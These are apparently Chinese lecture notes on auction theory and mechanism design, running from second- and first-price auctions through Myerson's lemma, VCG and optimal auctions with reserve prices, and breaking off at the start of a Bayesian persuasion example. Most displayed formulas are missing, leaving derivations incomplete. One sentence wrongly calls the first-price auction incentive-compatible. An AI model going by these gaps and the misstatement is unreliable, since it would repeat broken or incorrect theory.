- 如果 \(t_i > p_i\),那么 \(i\) 如果报价 \(b_i=t_i\) 就会赢得拍卖并支付 \(p_i\),效用 \(t_i - p_i > 0\)。考虑策略的偏离,如果选择报价提高至 \(b_i' > t_i\),结果没有任何改变;如果报价降低至 \(t_i > b_i' \ge p_i\),结果仍然一致;但如果降低报价至 \(b_i' < p_i\),那么 \(i\) 将不再赢得拍卖,因此 \(i\) 的效用将变为 0,故 \(t_i>p_i\) 时诚实报价是(弱)占优策略;
- 如果 \(t_i < p_i\),那么 \(i\) 如果报价 \(b_i=t_i\) 不会赢得拍卖,效用 0。考虑策略的偏离,如果报价降低至 \(b_i' < t_i\),结果没有任何改变;如果报价提高至 \(t_i < b_i' < p_i\),结果仍然一致;但如果报价提高至 \(b_i' \ge p_i\),那么 \(i\) 将赢得拍卖并支付 \(p_i\),因此 \(i\) 的效用将变为 \(t_i - p_i < 0\),故 \(t_i < p_i\) 时诚实报价是(弱)占优策略;
- 如果 \(t_i=p_i\),事实上拍卖的输赢带给 \(i\) 的效用都是 0,因此 \(i\) 无论报价多少都不会影响效用。
综上,对于任意的竞拍者 \(i\),诚实报价是(弱)占优策略均衡。
二价拍卖的缺陷
尽管第二价格拍卖具有如此好的性质,但在通常的印象中似乎并不如第一价格拍卖常见。一个重要的原因是,卖家可以操纵第二价格拍卖,通过向最高报价者谎称一个比较高的第二价格来提高自己的收益:
例如在第二价格拍卖中,你是最高价格的报价者,你的报价为 100 元,第二高报价为 80 元,因此你赢得拍卖并支付 80 元;
但因为是密封拍卖,你无法得知第二高报价的准确数值,如果卖家告诉 你第二高报价是 90 元,你也无从得知 90 元是不是真的第二高报价,但 卖家掌握这一信息,从而可以从信息操纵中获得更高的收益
第一价格拍卖¶
我们自然希望一价拍卖能有二价拍卖那样简单的结果,但只需要稍作分析就会发现一价拍卖的博弈结果并不那么简单。
首先,在一价拍卖中,假设买家投标为 \(\mathbf{b}=(b_1, \dots, b_n)\),那么最终的分配规则 \((\mathbf{x}, \mathbf{p})\) 为
第一价格拍卖不是诚实占优的
- 如果一价拍卖中竞拍者报出自己的估值,那么赢下拍卖后的支付就是自己的估值,因此效用为 0,与没有赢下拍卖一致,因此从直观上看一价拍卖的参与人有动机报出低于自己估值的报价。
- 严格来说,代入二价拍卖诚实报价占优的证明,一价拍卖在 \(t_i > p_i\) 时(报价高于第二高价格时),如果将报价从 \(t_i\) 下调到 \(p_i\) 和 \(t_i\) 之间,竞拍者 \(i\) 仍然可以赢下拍卖,但效用可以提高到大于 0 的值,因此一价拍卖并非诚实报价是占优策略,而是有动机报出低于自己估值的报价;
- 由此可以看出二价拍卖诚实的关键:报价与自己的估值无直接关联;
-
问题:三价拍卖是否诚实?
三价拍卖也不是诚实占优的。
因此接下来尝试从贝叶斯纳什均衡的角度给出一价拍卖的不完全信息静态博弈结果。下面计算一价拍卖的贝叶斯纳什均衡,一般的结论推导比较复杂,因此只考虑非常简单的情况的计算。
一价拍卖的贝叶斯纳什均衡
假设只有两个竞拍者,并且两个竞拍者的估值是独立的,且都服从 \([0,1]\) 上的均匀分布。两个竞拍者的真实估值记为 \(t_1, t_2\),试求解博弈的纯策略贝叶斯纳什均衡。
这一博弈对应类型空间连续且策略空间连续的情况,因此比之前介绍的例子都要复杂。自然地,可以考虑具有如下性质的特殊均衡:
- 纯策略均衡;
- 由于两个竞拍者是对称的,因此考虑对称均衡,即二者的出价策略都是当自己的估值为 \(t_i\) 时出价 \(\beta(t_i)\);
- 假设 \(\beta\) 是增函数,即估值越大报价越高;
- \(\beta(0) = 0\),即估值为 0 的竞拍者出价也为 0。
回顾纯策略均衡的求解是寻找对方策略的最优反应,因此首先写出当竞拍者 1 报价 \(b_1\),竞拍者 2 报价 \(\beta(t_2)\) 时竞拍者 1 的效用为:
对 \(b_1\) 求导有取极大值的必要条件为
已知考虑对称均衡,故均衡时 \(b_1 = \beta(t_1)\),代入上式有
上式对任意的 \(t_1\) 都成立,可以改写为
不难解得 \(\beta(t_1) = t_1/2\),这就解出了一价拍卖的对称递增均衡。当然上述一阶条件只是极值的必要条件,还需要检验充分性,此处省略。
收入等价定理¶
在第二价格拍卖中,竞拍者诚实报价是占优策略,但赢得拍卖的竞拍者只只需支付第二高报价;而在第一价格拍卖中,竞拍者会降低自己的报价,但赢得拍卖的竞拍者需要支付自己的报价(即最高的报价)。自然的问题是:在这两种拍卖中,卖家的期望收入哪种拍卖会更高呢?
在只有两个竞拍者,且两个个竞拍者的估值独立同分布于 \([0,1]\) 上的均匀分布的情况下:
- 一价拍卖:竞拍者 \(i\) 的均衡报价策略为 \(b_i = t_i/2\)。竞拍者 1 赢得拍卖的概率为 \(\mathbb{P}(t_1/2 > t_2/2) = \mathbb{P}(t_2 < t_1) = t_1\)。因此竞拍者 1 的期望支付为 \(t_1 \cdot t_1/2 = t_1^2/2\)。站在卖家的角度,\(t_1\) 是不确定的,因此卖家认为竞拍者 1 的期望支付为
另一种计算方式
在只有两个竞拍者,且两个竞拍者的估值独立同分布于 \([0,1]\) 上的均匀分布的情况下,可以直接写出一价拍卖选择对称递增均衡下的期望收益等于
\(\max(t_1, t_2)\) 是次序统计量,对应的分布函数为
故对应的密度函数为 \(f(t) = 2t\),因此收益期望值等于
- 二价拍卖:根据诚实报价占优以及支付第二高报价可知卖家的期望收入
\(\min(t_1, t_2)\) 是次序统计量,对应的分布函数为
对应的密度函数为
故
因此对于卖家而言,在上述情况下选择第一和第二价格拍卖,最终得到的期望收益无差别。事实上这井不是巧合,而是下面这一定理的一个特例:
收入等价定理
假设竞拍者估价独立同分布,那么只要估价为 0 的竞拍者的期望支付为 0,且拍卖规则为报价最高者得到物品,则拍卖的递增对称均衡都会使得卖家获得相等都的期望收入。
递增对称均衡
拆解为三个部分理解:
- 均衡 (Equilibrium): 指的是"贝叶斯纳什均衡"。在此状态下,没有任何一个参与者有动机单方面改变自己的策略,因为改变策略不会带来更好的收益。
- 对称 (Symmetric): 指的是所有参与者都使用相同的策略函数。在拍卖的例子里,一个对称的策略就是,无论竞拍者是谁,都会使用同一个函数 \(\beta(t)\) 来根据自己的估值 \(t\) 决定报价 \(b\)。
- 递增 (Increasing): 指的是策略函数 \(\beta(t)\) 是一个单调递增函数。这意味着,对物品的估值 \(t\) 越高,竞拍者出的报价 \(b\) 就越高。这非常符合直觉。
递增对称均衡描述了这样一种博弈的稳定状态:所有参与者都采用同一个单调递增的策略函数来出价,并且在这种情况下,没有人愿意单方面改变自己的策略。在一价拍卖的例子中,我们求解出的 \(\beta(t) = t/2\) 就是一个递增对称均衡。
Note
求卖家期望收益可以求每个玩家期望支付乘玩家个数,也可以直接写出卖家期望收益的表达式。
机制设计基础¶
机制
对一个不完全信息博弈,一个机制是一个二元组 \((S, M)\),其中 \(S = S_1 \times \cdots \times S_n\) 是所有参与人可选的纯策略集合,\(M\) 是一个将所有参与人的纯策略向量 \((s_1, \ldots, s_n) \in S\) 映射到结果集 \(O\) 上的一个概率分布的一个映射。
如果一个机制是确定性的 (deterministic),那么对于每个行动向量,机制 \(M\) 将其行动映射到一个确定的结果 \(o_i \in O\) 上。
例如,一个单物品密封拍卖机制是将买家的投标向量映射到一个结果 \((x, p)\) 上的机制,其中 \(x\) 是分配规则,\(p\) 是支付规则。
上述定义不仅适用于拍卖机制,只要针对不完全信息博弈,并且将参与人策略映射到结果,就是符合上述机制定义的。
直接显示机制与显示原理¶
为了介绍显示原理,首先需要定义如下两个基本概念:
直接显示机制
对于一个机制 \((S, M)\),如果:
- 对每个参与人 \(i\) 都有 \(S_i = T_i\),即每个参与人的行动就是报示自己的类型,则这一机制称为直接显示机制 (direct revelation mechanism) 或直接机制 (direct mechanism);
- 如果每个参与人如实报告自己的类型时的行动向量 \(\mathbf{s} = (t_1, \ldots, t_n)\) 是博弈的纳什均衡,则称这一机制是激励相容的,或者说是诚实的 (truthful)。更详细地,如果 \(\mathbf{s}\) 是占优策略均衡,则称这一机制是占优策略激励相容 (dominant-strategy incentive compatible, DSIC) 的。如果 \(\mathbf{s}\) 是贝叶斯纳什均衡,则称这一机制是贝叶斯激励相容 (Bayesian incentive compatible, BIC) 的。
不难发现,如果单物品密封价格拍卖中各参与人的类型(即估值)集合为 \([0, +\infty)\),则每个参与人的行动集合(报价)也是 \([0, +\infty)\),故满足直接显示机制。此外,由于二价拍卖下诚实报价是占优策略均衡,故二价拍卖是占优策略激励相容的。
显示原理
给定任意一个机制及其占优策略均衡(或贝叶斯纳什均衡),都可以找到一个激励相容的直接机制,使得该机制均衡下的结果和原机制均衡下对应的结果一致。
可以先用一价拍卖的例子体会上述定理的含义。回忆只有两个竞拍者,且两个竞拍者的估值独立同分布于 \([0,1]\) 上的均匀分布的情况下,一价拍卖选择对称递增均衡为 \(\beta(t) = t/2\)。
如果此时机制变为:报价最高者获得物品,但只需要支付最高报价的一半,那么该机制下诚实报价就可以体现到和原机制相同的完全一致的结果。下图给出了这一思想一般化的证明示意。
通俗地说,机制设计者为参与者完成了均衡求解的任务,因此参与者只需输入自己的真实类型,就能获得与原机制均衡相同的结果。激励相容的直接机制因此能够实现与原机制一致的结果。
由此可见,显示原理是一个非常巧妙的定理,其作用非常显著:在后续的机制设计问题中,我们只需考虑所有参与者在均衡下如实报告自己类型的机制即可;
- 因为任何机制都可以转化为直接显示机制,而这种转化不会改变机制的结果;
- 因此,仅通过这一类机制,我们就能获得所有可能机制的结果,从而大大缩小了机制设计中需要考虑的机制集合;
- 此外,在直接显示机制中,参与者需要诚实地报告自己的类型,从而解决了信息不对称的问题。
显示机制是由2007年诺贝尔经济学奖得主迈尔森提出并证明的,他获得诺奖的最重要贡献之一就是显示原理。
迈尔森引理¶
一价拍卖是激励相容的直接显示机制,然而一价拍卖并不是。
自然的问题是:哪些机制是激励相容的?迈尔森引理(Myerson's lemma)给出了拍卖机制(从报价到分配和支付的机制)激励相容的充要条件:这里首先给出迈尔森引理在占优策略均衡下的版本
迈尔森引理
一个拍卖机制是 DSIC(占优策略激励相容)的,当且仅当其分配规则和支付规则 \((\mathbf{x}, \mathbf{p})\) 满足:
- \(x\) 是单调的,即 \(x_i(b_i)\) 是 \(b_i\) 的单调不减函数;
- 给定 \(x\) 的情况下,只要给定 \(p_i(0)\) 的值,对任意的 \(i \in N\) 和 \(b_i \in [0, +\infty)\),\(p\) 的表达式是唯一确定的:
引理的第一个条件是很好理解的,即报价越高,获得物品的概率越高:
- 直观而言,如果报价降低能有更高的概率获得物品,那么竞拍者就会有动机选择降低自己的报价,不符合激励相容性质;
第二个条件说明,要满足 DSIC 性质,在给定的分配规则下,只要报价为 0 时的支付 \(p_i(0)\) 确定(通常都为 0),则只有一种特定的支付规则能够使得竞拍者如实报告自己的估值。
这一支付规则被称为迈尔森支付公式。下图是一个直观解释:横坐标是竞拍者 \(i\) 报价的取值,纵坐标是竞拍者 \(i\) 的分配结果,\(x_i(b_i)\) 所围成的曲线是分配规则,\(x_i(b_i)\) 到纵坐标所围成的面积表示于长方形减去线下方面积,正好对应竞拍者 \(i\) 报价为 \(b_i\) 时的支付(设 \(p_i(0) = 0\))。
显示直觉的权衡:不能提取全部的剩余,否则无法激励诚实。
迈尔森引理与二价拍卖
根据二价拍卖的分配规则可知:
- 当 \(b_i < \max_{j \neq i} b_j\) 时,\(x_i\) 在 \([0, b_i]\) 内均为 0,因此根据迈尔森支付公式计算出此时支付 \(p_i(b_i) = 0\),符合二价拍卖结果;
- 当 \(b_i > \max_{j \neq i} b_j\) 时,\(x_i\) 在 \([\max_{j \neq i} b_j, b_i]\) 内均为 1,其余部分为 0。如下图所示
因此根据迈尔森支付公式计算出此时支付
也符合二价拍卖结果。
根据上图的直观,对于竞拍者 \(i\) 而言,二价拍卖的分配规则是一个阶梯函数,其中间断点位于 \(\max_{j \neq i} b_j\),报价高于此值时获得物品,低于此值时不会获得物品。一般地,称阶梯形分配规则的间断点为关键值(critical value)。
需要注意的是,迈尔森引理并没有限制单物品拍卖,如果是多个完全相同物品的拍卖,且每个竞拍者具有单位需求(只需要一份物品,例如数据),不难发现上面的陈述并没有需要修改之处:
- 此时买家的估值仍然是一维的;
- 问题:假设有 \(m\) 个完全相同的物品,每个竞拍者具有单位需求,请设计 DSIC 拍卖机制。(从高到低分配给m个竞拍者,支付第m+1高的bid)
综合显示原理和迈尔森引理,在之后的拍卖设计讨论中都只需要考虑竞拍者如实报告自己估值的机制,但在使用此类机制研究时要注意,在一个给定的分配规则下只有一种特定的支付规则才能达到。因此拍卖机制设计问题进一步转化为只需要设计分配规则,因为激励相容情况下的支付规则是对应唯一确定的(只要固定 \(p_i(0)\) 的取值)。
在直观理解了迈尔森引理后,接下来给出迈尔森引理的证明:
首先验证"当"的部分,相对而言比较简单直接。设竞拍者 \(i\) 的估值为 \(t_i\),当其报价为 \(t_i'\) 时,其收益表达为
特别地,当报价 \(t_i' = t_i\),即竞拍者诚实报价时,其收益为
故有
当 \(t_i' \geqslant t_i\) 时,由于 \(x_i\) 是增函数,故
因此 \(u_i(t_i) - u_i(t_i') \geqslant 0\)。当 \(t_i' \leqslant t_i\) 时同理可得 \(u_i(t_i) - u_i(t_i') \geqslant 0\)。
故无论其他竞拍者的报价如何,竞拍者 \(i\) 选择如实报告自己的估值是占优策略,因此该机制是 DSIC 的。
接下来证明"仅当"的部分,即要求激励相容推出这一机制。这里需要用到一个特殊的交换技巧。假设机制 \((\mathbf{x}, \mathbf{p})\) 是 DSIC 的,有两个任意的变量 \(0 \leqslant y < z\)。一种可能的情况是,智能体 \(i\) 的估值是 \(z\),提交报价是 \(y\),此时 DSIC 要求 \(u_i(z) \geqslant u_i(y)\)(按估值报价收益不低于其它报价),展开为
另一种情况是,智能体 \(i\) 的估值是 \(y\),提交报价是 \(z\),此时要求
上述两式移项,组合后可以得到
实际上由上式左右两端已经可以看出,\((z - y)(x_i(y) - x_i(z)) \leqslant 0\),因为 \(z > y\),故 \(x_i(y) - x_i(z) \leqslant 0\),又因为这一结果对任意的 \(0 \leqslant y < z\) 成立,故 \(x_i\) 是单调递增的,故也是可微且几乎处处可导的。
进一步地,对不等式中三部分别除以 \(y - z\),然后令 \(y \to z\) 可得下式几乎处处成立:
两边对 \(y\) 积分可得
使用分部积分即可得到迈尔森支付公式
福利最大化机制设计¶
VCG机制¶
考虑一般的物品分配场景:
- 例如有四个竞拍者和四个不同的物品(例如四个不同地区/不同频段的频谱),记为 \(S = \{A, B, C, D\}\);
- 买家对 \(S\) 的任意子集都有不同的估值;
- 可能的分配结果 \(\Omega\) 包含将所有物品分配出去的所有可能结果,其中 \(\omega \in \Omega\) 表示一个合理的分配方案;
- 例如将物品 \(B\) 分配给竞拍者 1,\(A, C, D\) 分配给竞拍者 2 就是一个合理的分配结果。
如何为这种情况设计福利最大化的拍卖机制?
迈尔森引理中实家对物品的估值是一维变量可以描述的,此处无法做到。事实上迈尔森引理至今也无法推广至多维的一般情况。
因此我们需要求助于其他的机制。可能的分配结果集合记为 \(\Omega\),其中 \(\omega \in \Omega\) 表示一个合理的分配结果。下面首先假设所有竞拍者是诚实报价的,即对分配结果 \(\omega\) 的报价 \(b_i(\omega)\) 就等于他对 \(\omega\) 中给他分配的物品的效用值。则下面的分配规则给出了福利最大化的分配规则:
此外,为了讨论方便,记 \(\omega^*_{-i}\) 为去掉参与人 \(i\) 后的福利最大化分配结果,即 \(\omega^*_{-i} = \arg\max_{\omega \in \Omega} \sum_{j \neq i} b_j(\omega)\)。记所有参与人的投标向量为 \(\mathbf{b} = (b_1, \ldots, b_n)\),下面的支付公式给出了福利最大化 DSIC 机制的支付规则:
上述公式的含义是,\(i\) 需要支付的价格是,在 \(i\) 不参与分配时其他人的最大福利情况下其他人的福利,事实上也可以理解为参与人 \(i\) 给其他人所造成的负外部性。
Tip
VCG机制是DSIC的;
VCG机制与二价拍卖
事实上,二价拍卖是 VCG 机制在单物品拍卖下的特例:
- 首先,分配机制满足福利最大化。在单物品拍卖中,这意味着将物品分配给对物品估值最高的竞拍者,这与二价拍卖的原则一致。
-
其次是支付规则:
-
如果你不是估值最高的竞拍者,那么在你不参与时,最大福利等于估值最高的竞拍者的估值 \(v_i\);在你参与时,最大福利也等于估值最高的竞拍者的估值 \(v_i\),此时你的福利为0,因此,你的支付为 \(v_i - (v_i-0) = 0\)。
- 如果你是估值最高的竞拍者,那么在你不参与时,最大福利等于估值第二高的竞拍者的估值 \(v_2\);在你参与时,最大福利等于你的估值 \(v_1\),此时你的福利为 \(v_1\)。因此,你的支付为 \(v_2 - (v_1-v_1) = v_2\)。
拍卖理论¶
约 3852 个字 1 张图片 预计阅读时间 13 分钟
虚拟福利最大化¶
基本模型
考虑单物品情况,即一个卖家有一个不可分割的物品待出售;
- 与此前单物品拍卖讨论一致,有 n 个潜在买家(竞拍者)\( N = \{1, 2, \ldots, n\} \);
- 每个买家 i 对物品有一个心理价值,表示为私有信息:
- 其连续分布概率密度 \( f_i: [a_i, b_i] \to \mathbb{R}^+ \) 是共同知识,且 \( f_i(t_i) > 0 \) 对所有 \( t_i \in [a_i, b_i] \) 成立;
- 记 \( T \) 为所有参与者可能的估值组合,即
- 假定不同买家的估值分布是相互独立的(但不需同分布);
- 故在 \( T \) 上估值的联合密度函数记为 \( f(t) = \prod_{i=1}^n f_i(t_i) \);
- 按惯例记 \( f_{-i}(t_{-i}) = \prod_{j \in N, j \neq i} f_j(t_j) \),即除 i 之外所有买家的估值联合密度;
- 此外,为了讨论方便,卖家对物品的估值为 0 是共同知识。
BIC 迈尔森引理¶
由于考虑的是贝叶斯纳什均衡,因此应当考虑其他参与人都如实报告自己估值的,即 \(b_{-i} = t_{-i}\) 时,估值为 \(t_i\) 的竞拍者 \(i\) 报告 \(t_i'\) 的期望效用,这与 DSIC 不同,DSIC只需要考虑自己的就足够了。
理解这一表达式:买家效用为他的估值 \(t_i\) 乘以物品分配概率 \(x_i(t_i', t_{-i})\),减去支付 \(p_i(t_i', t_{-i})\)。然而买家不能确定其他买家真实估值,因此还需要根据先验分布对其他人的估值求期望。因此 BIC 的条件就是 \(U_i(t_i) \geq U_i(t_i')\) 对所有 \(i \in N\) 和 \(t_i' \in [a_i, b_i]\) 成立。
然而这一 \(U_i\) 的表达式的确看起来非常不友好,因此会试图简化。定义
则 \(Q_i(t_i')\) 的含义为,当其他买家诚实报价,买家 \(i\) 报价 \(t_i'\) 时,他获得物品的概率。定义
则 \(M_i(t_i)\) 的含义为,当其他买家诚实报价,买家 \(i\) 报价 \(t_i'\) 时,他的期望支付。因此,\(U_i(t_i')\) 可以简化为
这就与 DSIC 情况下的 \(u_i(t_i') = t_i \cdot x_i(t_i') - p_i(t_i')\) 形式上一致了,只是获得物品的概率和支付都求了期望,并且假定了其他买家如实报价。
因此仿照 DSIC 迈尔森引理可以给出 BIC 版本的迈尔森引理,并且证明过程完全类似,因此不再赘述,除了需要注意积分下界因为显示机制要求报价集合为 \(T_i = [a_i, b_i]\) 而变为了 \(a_i\):
BIC 迈尔森引理
一个拍卖机制是 BIC(即贝叶斯激励相容)的,当且仅当其分配规则和支付规则 \((x, p)\) 满足:
- \(Q_i(t_i)\) 是单调不减函数;
- 对任意的 \(i \in N\) 和 \(b \in [a_i, b_i]\),有
由此得到了 BIC 的充要条件。然而现在还不能转入最大化卖家收益的讨论。因为仅满足 BIC 的机制是不够合理(feasible)的。合理的机制除了满足 BIC 外,还应当满足如下两个条件:
- 第一个条件是分配规范性。因为只有一个物品在分配,故对于所有 \(t \in T\),有
并且 \(x_i(t) \geq 0\) 对所有 \(i \in N\) 和 \(t \in T\) 成立;
- 第二个条件是,对所有 \(i \in N\) 和 \(t_i \in [a_i, b_i]\),有 \(U_i(t_i) \geq 0\),即需要满足(事中阶段的)个人理性,否则竞拍者在得知自己的类型后会选择退出拍卖。
下面的定理给出了在 BIC 的基础上满足个人理性的充要条件:
定理
一个 BIC 的拍卖机制是 IR(个人理性)的,当且仅当对于每个 \(i \in N\) 都满足 \(M_i(a_i) \leq 0\)。
即要求当竞拍者估值为最低值时的期望支付小于等于 0。
证明
根据 BIC 的条件,不难写出
个人理性要求对任意的 \(t_i \in [a_i, b_i]\),都有 \(U_i(t_i) \geq 0\)。因为等式右侧当 \(t_i = a_i\) 时取最小值 \(-M_i(a_i)\),故个人理性成立当且仅当 \(M_i(a_i) \leq 0\)。
转化为虚拟福利最大化问题¶
首先当所有买家如实报告自己的类型时,投标结果为 \(t = (t_1, \ldots, t_n)\)。卖家期望收入是(注意卖家对物品估值为 0,故只有卖出才能产生收益)
下面这一引理给出了最大化卖家收入 \(U_0\) 的合理的最优机制的一个简洁明了的条件:
引理
假设分配规则 \(x\) 最大化
支付规则 \(p\) 使得 \(M_i(a_i) = 0\) 对所有 \(i \in N\) 成立,且 \((x, p)\) 满足 BIC、分配规范性和 IR,则 \((x, p)\) 是合理的最优机制。
引理的具体证明因为技术性较强不展开描述,下面描述大致步骤:
- 根据 BIC 迈尔森引理和展开 \(U_0\) 的表达式。然后利用分部变换技巧得到
-
从而目标转化为在满足 BIC、分配规范性和 IR 的情况下最大化上式。其中号前的部分只与分配规则 \(x\) 有关,加号后的部分展开后只与支付规则 \(p\) 有关,因此可以分别考虑这两个部分:
-
对于加号前的部分,目标就是找到分配机制 \(x\) 使其最大化;
- 对于加号后的部分,根据个人理性等价条件有 \(M_i(a_i) \leq 0\),因此要最大化 \(U_0\) 就要选择支付规则 \(p\) 使得 \(M_i(a_i) = 0\) 对所有 \(i \in N\) 成立。
由此,这一引理的结论得证。
有了这一引理,接下来的任务就是找到一个分配机制 \(x\) 使得
最大化。而支付规则在 \(x\) 确定后直接根据迈尔森引理以及 \(M_i(a_i) = 0\) 的条件确定即可。
令
称其为竞拍者 \(i\) 的 虚拟估值 (virtual valuation),则目标就是找到一个分配机制 \(x\) 使得
最大化。
如果对任意的 \(t\),都能找到一个 \(x\) 使得
最大化,自然也能满足最大化要求。
-
因此,目标进一步转化为找到一个分配机制 \(x\) 使得对任意的 \(t\),都能找到一个 \(x\) 使得 \(\sum_{i=1}^n c_i(t_i)x_i(t)\) 最大化;
-
如果 \(c_i(t_i)\) 是竞拍者 \(i\) 的真实估值,那么最大化 \(\sum_{i=1}^n c_i(t_i)x_i(t)\) 就是最大化竞拍者福利,然而 \(c_i(t_i)\) 并不是真实估值,只是虚拟估值,因此这一问题称为 虚拟福利最大化问题 。
虚拟福利最大化
- 利用显示原理将机制设计空间限制在直接显示机制,因此只需要设计竞拍者如实报告估值的机制,因此卖家收益最大化问题可以写为如下数学规划问题:
-
利用 BIC 迈尔森引理将 BIC 转化为两个等价条件,其一是期望分配概率 \(Q_i\) 的单调性,其二是期望支付 \(M_i\) 可由 \(Q_i\) 和 \(M_i(a_i)\) 唯一表达;
-
将个人理性条件转化为等价条件 \(M_i(a_i) \leq 0\);
-
将目标函数利用积分变换等将目标问题转化为虚拟福利最大化问题。
最优机制¶
下面的任务是确定最优的分配机制 \(x\) 使得虚拟福利最大化。事实上不难看出如何做到这一点:
-
因为最大化目标函数是 \(\sum_{i=1}^n c_i(t_i)x_i(t)\),且要求 \(\sum_{i=1}^n x_i(t) \leq 1\),故而实际上要最大化的就是 \(c_i(t_i)\) 的一个加权平均,其中权重不大于 1;
-
显然只需要给 \(c_i(t_i)\) 最大的一项或多项赋予为 1 的权重即可,并且这一最大值必须大于等于 0,否则不如全部权重都为 0 的情况。即只允许同时满足
- 最大化 \(c_i(t_i) = t_i - \frac{1-F_i(t_i)}{f_i(t_i)}\)
- \(c_i(t_i) \geq 0\)
两个条件的参与人 \(i\) 有获得物品的概率,并且如果有这样的参与人,他们获得物品的概率和为 1。换一种说法,即
然而时刻要记住,我们设计的机制必须是合理的,即满足 BIC、分配规范性和 IR:
-
显然上述解已经满足了分配规范性,IR 与分配机制的选择无关,因此只需要考虑 BIC;
-
根据 BIC 迈尔森引理,其中第二条与支付机制的选择有关,因此只需要检验第一条 \(Q_i(t_i)\) 单调不减是否满足;
-
这一条件并非一定成立。例如当 \(c_i\) 为递减函数时,反而最低的估值会获得物品;
-
因此引入一个充分条件(称为正则化条件)来保证这一要求的成立:
正则化条件
称这一问题符合正则化条件,如果对于任意的 \(i \in N\),都有 \(c_i(t_i)\) 关于 \(t_i\) 是单调递增的:
- 这显然是 \(Q_i\) 关于 \(t_i\) 单调递增的充分条件,因为如果 \(c_i(t_i)\) 关于 \(t_i\) 单调递增,那么根据之前 \(x_i\) 的选择,当参与人 \(i\) 提高报价时,他得到物品的概率不会降低,从而 \(Q_i\) 关于 \(t_i\) 单调递增也成立;
因此当满足正则化条件时,上面给出的解的确是合理的最优机制。
现在继续考虑正则化条件满足的情况。已有正则化条件下的最优机制的分配规则 \(x\),接下来需要确定支付规则 \(p\)。不难理解分配规则仍然是一个阶梯函数,令
即 \(z_i(t_{-i})\) 是使得参与人 \(i\) 刚好能有机会获得物品的最低报价,也就是所谓阶梯函数的间断点。那么根据支付公式
可以解出分配规则对应的支付规则 \(p\) 为
更简单的,如果只有一个满足 \(c_i(z_i(t_{-i})) \geq t_0\) 和 \(c_i(z_i(t_{-i})) \geq c_j(t_j), \forall j \neq i\) 的 \(i\),则 \(x_i(t) = 1\),且
Example
考虑一种最简单的情况来具象化前面给出的结论。考虑一个所有买家估值独立同分布的情形(即对称模型),并且符合正则化条件,得到
-
结合前面得到的 \((x,p)\),此时的最优机制其实就是一个 含保留价格的二价拍卖机制;
-
在对称情况下所有买家估值同分布情形下,卖家对每位买家的虚拟估值函数相同,故具有最高估值(即最高报价)的赢得物品,并且支付第二高报价和保留价格之间的较高者,并且如果最高报价低于保留价格,则不分配物品。
更具体而言,当所有买家估值独立且取从 \([0,1]\) 上的均匀分布时,虚拟估值函数为 \(c_i(t_i) = 2t_i - 1\)。因此保留价格为 \(1/2\)。此时的最优机制就是 保留价格为 \(1/2\) 的第二价格拍卖。
Summary
- 满足正则化条件,分配给虚拟估值最高的买家,且估值不小于0;
- 如果卖出,支付为第二高报价和保留价格之间的较高者;
尽管最优机制可以使得卖家获得最大的期望效用,但是这一机制存在一些天然的缺陷:
-
卖家很难准确估计每一个买家的估值分布,因此这一机制很难完美实现,特别是应用于数据拍卖场景时,数据买家的估值不确定性更大,因此之后会讨论在无先验分布下的机制设计;
-
非对称模型(即买家的估值不同分布)下,报价最高的买家可能并不是最有可能获得物品的买家。这一点显然,因为不同的分布下虚拟估值会有所不同(收入等价原理为报价高的买家获得物品,所以不一定满足收入等价原理):
-
若 \(f_i(t_i) = \frac{1}{b_i-a_i}\),即买家的估值均匀分布,不难计算得到 \(c_i(t_i) = 2t_i - b_i\)。这关于 \(t_i\) 是单调递增的,因此符合正则化条件;
-
但是此时的最优机制是选出 \(2t_i - b_i\) 最大的 \(i\),如果 \(b_i < b_j\),那么可能存在 \(t_i < t_j\) 但是 \(2t_i - b_i > 2t_j - b_j\) 的情况,即报价更低的买家可能获得物品;
-
-
最优机制不是事后有效率的。例如我们考虑对称模型下,卖家估值等于 0 且买家估值都大于 0 的情况,此时显然物品要售出才是帕累托最大化(也是俗称的最优事后有效率)的,但是如果所有买家的报价都低于 \(c_i^{-1}(0)\),那么物品就不会被售出,这显然不是事后有效率的。
贝叶斯劝说¶
约 5579 个字 2 张图片 预计阅读时间 19 分钟
背景与例子¶
考虑导师写推荐信将学生推荐至企业的例子:
参与者设定¶
-
两个参与人:
- 导师(信号发送者)
- 企业(信号接收者)
-
导师的任务: 是向企业为每位学生写推荐信,通过推荐信的好坏向企业发送信号
- 企业的任务: 是对一个学生,在接收到导师的推荐信(信号)后必须做出以下两种决策之一:
- 雇用(hiring)
- 不雇用(not hiring)
- 学生不是博弈参与方: 因为学生只被动接受结果,没有自己的策略
学生类型¶
-
学生有两种类型:
- 优秀(excellent)
- 一般(average)
-
学生的类型对导师而言是已知的,对企业则是不完全信息
- 与不完全信息博弈中的假设一致: 可以认为学生的类型是自然按一定的先验概率随机抽取的
先验分布¶
-
企业对学生类型有先验分布:
- \(\mu_0\)(average) = 0.75
- \(\mu_0\)(excellent) = 0.25
-
这一先验概率分布也符合导师已知的实际学生类型分布
- 因此如果随机抽取一个学生,则企业和导师对学生类型有共同的先验分布
效用函数定义¶
- 导师的效用函数:
-
假设导师希望推荐出去的学生越多越好,因此企业只要雇用一个学生,则导师获得效用1,否则效用为0
-
企业的效用函数:
- 企业则希望招收到优秀的学生,因此在招收到优秀的学生时获得效用为1,招收普通学生时获得效用为-0.5
Note
综上所述,目前定义了:
- 两个参与人
- 企业的策略
- 两个参与人的效用函数
- 不完全信息的先验分布
因此接下来需要形式化定义导师的策略,即形式化"发信号"这一策略。
形式地说,发信号就是通过好或坏的推荐信来向企业表明学生是优秀的或一般的。形式化地说,导师写推荐信的策略就是如下两个条件概率分布 \(\pi(\cdot | \text{excellent})\) 和 \(\pi(\cdot | \text{average})\)(又称信号机制(signaling scheme)):
- \(\pi(e | \text{excellent}), \pi(a | \text{excellent})\)
- \(\pi(e | \text{average}), \pi(a | \text{average})\)
其中 \(e\) 和 \(a\) 分别表示描述学生为优秀类型和一般类型的推荐信; - \(\pi(A | B)\) 表示当学生属于 \(B\) 类型时,导师在推荐信中给学生描述的类型为 \(A\) 的概率; - 例如 \(\pi(e | \text{average})\) 表示学生一般时导师在推荐信中将其描述为优秀学生的概率。
Tip
导师和企业之间存在长期关系,因此导师的策略是企业在看到推荐信之前就已知的,因为企业在与导师的长期关系中可以验证导师的策略。
Example
第一个信号的例子是,导师完全诚实地推荐学生,即为优秀的学生写好的推荐信,为一般的学生写一般的推荐信,故此时信号机制为
- \(\pi(e | \text{excellent}) = 1, \pi(a | \text{excellent}) = 0;\)
-
\(\pi(e | \text{average}) = 0, \pi(a | \text{average}) = 1.\)
-
